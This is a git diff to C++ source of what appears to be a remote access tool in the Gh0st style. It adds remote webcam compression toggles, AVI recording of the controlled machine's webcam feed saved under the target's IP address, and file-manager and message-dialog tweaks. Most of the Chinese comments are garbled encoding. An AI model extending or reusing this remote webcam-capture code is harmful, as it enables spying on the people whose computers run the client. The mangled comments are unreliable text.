diff --git a/ReadMe.txt b/ReadMe.txt index 58cac5d..68864a5 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -137,3 +137,9 @@ 2019.1.22 减少音频视频捕获过程中频繁申请内存。 + +2019.1.25 + +1、修复被控端消息提示对话框在消息换行时显示不完整的问题。 + +2、添加/完善录制远程被控端视频的功能。 diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp index 0a3ee53..696b026 100644 --- a/client/TalkManager.cpp +++ b/client/TalkManager.cpp @@ -15,7 +15,7 @@ using namespace std; #define ID_TIMER_DELAY_DISPLAY 2 #define ID_TIMER_CLOSE_WINDOW 3 -#define WIN_WIDTH 250 +#define WIN_WIDTH 360 #define WIN_HEIGHT 200 ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -54,7 +54,6 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { memcpy(g_Buffer, szBuffer, ulLength); //һDLG - DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG), NULL,DialogProc); //SDK C MFC C++ break; @@ -126,7 +125,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ { KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW); BYTE bToken = TOKEN_TALKCMPLT; // ͷļ Common.h - g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // ·͵ָ + g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // ·͵ָ EndDialog(hDlg,0); } break; diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp index 74d3844..d420137 100644 --- a/client/VideoManager.cpp +++ b/client/VideoManager.cpp @@ -35,11 +35,12 @@ DWORD CVideoManager::WorkThread(LPVOID lParam) if (This->Initialize()) //תInitialize { This->m_bIsCompress=true; //ʼɹÿѹ + printf("ѹƵд.\n"); } This->SendBitMapInfor(); //bmpλͼṹ - // ȿƶ˶Ի + // ȿƶ˶Ի This->WaitForDialogOpen(); #if USING_ZLIB const int fps = 8;// ֡ @@ -163,7 +164,21 @@ VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { NotifyDialogIsOpen(); break; - } + } + case COMMAND_WEBCAM_ENABLECOMPRESS: // Ҫѹ + { + // ʼѹ + if (m_pVideoCodec) + InterlockedExchange((LPLONG)&m_bIsCompress, true); + printf("ѹƵд.\n"); + break; + } + case COMMAND_WEBCAM_DISABLECOMPRESS: // ԭʼݴ + { + InterlockedExchange((LPLONG)&m_bIsCompress, false); + printf("ѹƵд.\n"); + break; + } } } diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index ac41e19..fe7d8f6 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -43,7 +43,7 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client sizeof(SHFILEINFO), SHGFI_ICON | SHGFI_USEFILEATTRIBUTES ); - m_hIcon = sfi.hIcon; + m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_FATHER)); // ϵͳͼб static HIMAGELIST hImageList_Large = (HIMAGELIST)SHGetFileInfo ( diff --git a/server/2015Remote/VideoDlg.cpp b/server/2015Remote/VideoDlg.cpp index fdd1edf..45f29a6 100644 --- a/server/2015Remote/VideoDlg.cpp +++ b/server/2015Remote/VideoDlg.cpp @@ -9,15 +9,110 @@ enum { + IDM_ENABLECOMPRESS = 0x0010, // Ƶѹ IDM_SAVEAVI, // ¼ }; // CVideoDlg Ի IMPLEMENT_DYNAMIC(CVideoDlg, CDialog) +AVISTREAMINFO CBmpToAvi::m_si; + +CBmpToAvi::CBmpToAvi() +{ + m_pfile = NULL; + m_pavi = NULL; + AVIFileInit(); +} + +CBmpToAvi::~CBmpToAvi() +{ + AVIFileExit(); +} + +bool CBmpToAvi::Open( LPCTSTR szFile, LPBITMAPINFO lpbmi ) +{ + if (szFile == NULL) + return false; + m_nFrames = 0; + + if (AVIFileOpen(&m_pfile, szFile, OF_WRITE | OF_CREATE, NULL)) + return false; + + m_si.fccType = streamtypeVIDEO; + m_si.fccHandler = BI_RGB; + m_si.dwScale = 1; + m_si.dwRate = 8; // ֡ + SetRect(&m_si.rcFrame, 0, 0, lpbmi->bmiHeader.biWidth, lpbmi->bmiHeader.biHeight); + m_si.dwSuggestedBufferSize = lpbmi->bmiHeader.biSizeImage; + + if (AVIFileCreateStream(m_pfile, &m_pavi, &m_si)) + return false; + + + if (AVIStreamSetFormat(m_pavi, 0, lpbmi, sizeof(BITMAPINFO)) != AVIERR_OK) + return false; + + return true; +} + +bool CBmpToAvi::Write(LPVOID lpBuffer) +{ + if (m_pfile == NULL || m_pavi == NULL) + return false; + + return AVIStreamWrite(m_pavi, m_nFrames++, 1, lpBuffer, m_si.dwSuggestedBufferSize, AVIIF_KEYFRAME, NULL, NULL) == AVIERR_OK; +} + + +void CBmpToAvi::Close() +{ + if (m_pavi) + { + AVIStreamRelease(m_pavi); + m_pavi = NULL; + } + if (m_pfile) + { + AVIFileRelease(m_pfile); + m_pfile = NULL; + } +} + + +void CVideoDlg::SaveAvi(void) +{ + CMenu *pSysMenu = GetSystemMenu(FALSE); + if (pSysMenu->GetMenuState(IDM_SAVEAVI, MF_BYCOMMAND) & MF_CHECKED) + { + pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_UNCHECKED); + m_aviFile.Empty(); + m_aviStream.Close(); + return; + } + + CString strFileName = m_strIPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.avi"); + CFileDialog dlg(FALSE, "avi", strFileName, OFN_OVERWRITEPROMPT, "Ƶļ(*.avi)|*.avi|", this); + if(dlg.DoModal () != IDOK) + return; + m_aviFile = dlg.GetPathName(); + if (!m_aviStream.Open(m_aviFile, m_BitmapInfor_Full)) + { + m_aviFile.Empty(); + MessageBox("¼ļʧ!"); + } + else + { + pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_CHECKED); + } +} + + CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) : CDialog(CVideoDlg::IDD, pParent) { + m_nCount = 0; + m_aviFile.Empty(); m_ContextObject = ContextObject; m_iocpServer = IOCPServer; m_BitmapInfor_Full = NULL; @@ -52,6 +147,12 @@ void CVideoDlg::ResetScreen(void) CVideoDlg::~CVideoDlg() { + if (!m_aviFile.IsEmpty()) + { + SaveAvi(); + m_aviFile.Empty(); + } + if (m_pVideoCodec) { delete m_pVideoCodec; @@ -103,8 +204,9 @@ BOOL CVideoDlg::OnInitDialog() m_hDD = DrawDibOpen(); m_hDC = ::GetDC(m_hWnd); - + SysMenu->AppendMenu(MF_STRING, IDM_ENABLECOMPRESS, "Ƶѹ(&C)"); SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "¼(&V)"); + SysMenu->AppendMenu(MF_SEPARATOR); CString strString; @@ -123,6 +225,11 @@ BOOL CVideoDlg::OnInitDialog() void CVideoDlg::OnClose() { + if (!m_aviFile.IsEmpty()) + { + SaveAvi(); + m_aviFile.Empty(); + } #if CLOSE_DELETE_DLG m_ContextObject->v1 = 0; #endif @@ -137,6 +244,8 @@ void CVideoDlg::OnClose() void CVideoDlg::OnReceiveComplete(void) { + ++m_nCount; + switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) { case TOKEN_WEBCAM_DIB: @@ -156,35 +265,31 @@ void CVideoDlg::DrawDIB(void) if (SysMenu == NULL) return; - int nHeadLen = 1 + 1 + 4; + const int nHeadLen = 1 + 1 + 4; LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer(); UINT ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength(); if (szBuffer[1] == 0) // ûоH263ѹԭʼݣҪ { // һΣûѹ˵˲ָ֧Ľ - /* if (m_nCount == 1) + if (m_nCount == 1) { - pSysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); + SysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); } - pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED); - memcpy(m_lpScreenDIB, lpBuffer + nHeadLen, nBufferLen - nHeadLen);*/ + SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED); + memcpy(m_BitmapData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); } - else // { ////ﻺĵĵڶַǷƵ - InitCodec(*(LPDWORD)(szBuffer + 2)); //ж + InitCodec(*(LPDWORD)(szBuffer + 2)); //ж if (m_pVideoCodec != NULL) { - //pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED); - memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //Ƶûнѹ + SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED); + memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //Ƶûнѹ //↑ʼ룬ͬδѹһ ʾԻϡ ʼƵaviʽ m_pVideoCodec->DecodeVideoData(m_BitmapCompressedData_Full, ulBufferLen - nHeadLen, - (LPBYTE)m_BitmapData_Full, NULL, NULL); //Ƶݽѹm_lpScreenDIB - - /* m_pVideoCodec->DecodeVideoData(m_lpCompressDIB, nBufferLen - nHeadLen, - (LPBYTE)m_lpScreenDIB, NULL, NULL); //Ƶݽѹm_lpScreenDIB*/ + (LPBYTE)m_BitmapData_Full, NULL, NULL); //Ƶݽѹ } } @@ -198,9 +303,16 @@ void CVideoDlg::InitCodec(DWORD fccHandler) return; m_pVideoCodec = new CVideoCodec; - if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) //˸ʽ ƥ + if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) { OutputDebugStringA("======> InitCompressor failed \n"); + delete m_pVideoCodec; + // NULL, ʱжǷΪNULLжǷѹ + m_pVideoCodec = NULL; + // ֪ͨ˲ѹ + BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS; + m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); + GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); } } @@ -212,6 +324,19 @@ void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam) { case IDM_SAVEAVI: { + SaveAvi(); + break; + } + case IDM_ENABLECOMPRESS: + { + CMenu *pSysMenu = GetSystemMenu(FALSE); + bool bIsChecked = pSysMenu->GetMenuState(IDM_ENABLECOMPRESS, MF_BYCOMMAND) & MF_CHECKED; + pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, bIsChecked ? MF_UNCHECKED : MF_CHECKED); + bIsChecked = !bIsChecked; + BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS; + if (!bIsChecked) + bToken = COMMAND_WEBCAM_DISABLECOMPRESS; + m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); break; } } @@ -243,4 +368,14 @@ void CVideoDlg::OnPaint() m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, DDF_SAME_HDC ); + + if (!m_aviFile.IsEmpty()) + { + m_aviStream.Write(m_BitmapData_Full); + // ʾ¼ + SetBkMode(m_hDC, TRANSPARENT); + SetTextColor(m_hDC, RGB(0xff,0x00,0x00)); + const LPCTSTR lpTipsString = "Recording"; + TextOut(m_hDC, 0, 0, lpTipsString, lstrlen(lpTipsString)); + } } diff --git a/server/2015Remote/VideoDlg.h b/server/2015Remote/VideoDlg.h index b287f59..9fc740c 100644 --- a/server/2015Remote/VideoDlg.h +++ b/server/2015Remote/VideoDlg.h @@ -7,6 +7,25 @@ #pragma comment(lib,"Vfw32.lib") +/************************************************************************ +* @class CBmpToAvi +* @brief λͼתAVI֡ +************************************************************************/ +class CBmpToAvi +{ +public: + CBmpToAvi(); + virtual ~CBmpToAvi(); + bool Open(LPCTSTR szFile, LPBITMAPINFO lpbmi); + bool Write(LPVOID lpBuffer); + void Close(); +private: + PAVIFILE m_pfile; + PAVISTREAM m_pavi; + int m_nFrames; + static AVISTREAMINFO m_si; // ҪǾ̬ +}; + class CVideoCodec { COMPVARS m_cv; @@ -156,8 +175,13 @@ public: void OnReceiveComplete(void); void DrawDIB(void); + void SaveAvi(void); void InitCodec(DWORD fccHandler); + CString m_aviFile; // ļΪվд + CBmpToAvi m_aviStream; + + int m_nCount; HDC m_hDC; HDRAWDIB m_hDD;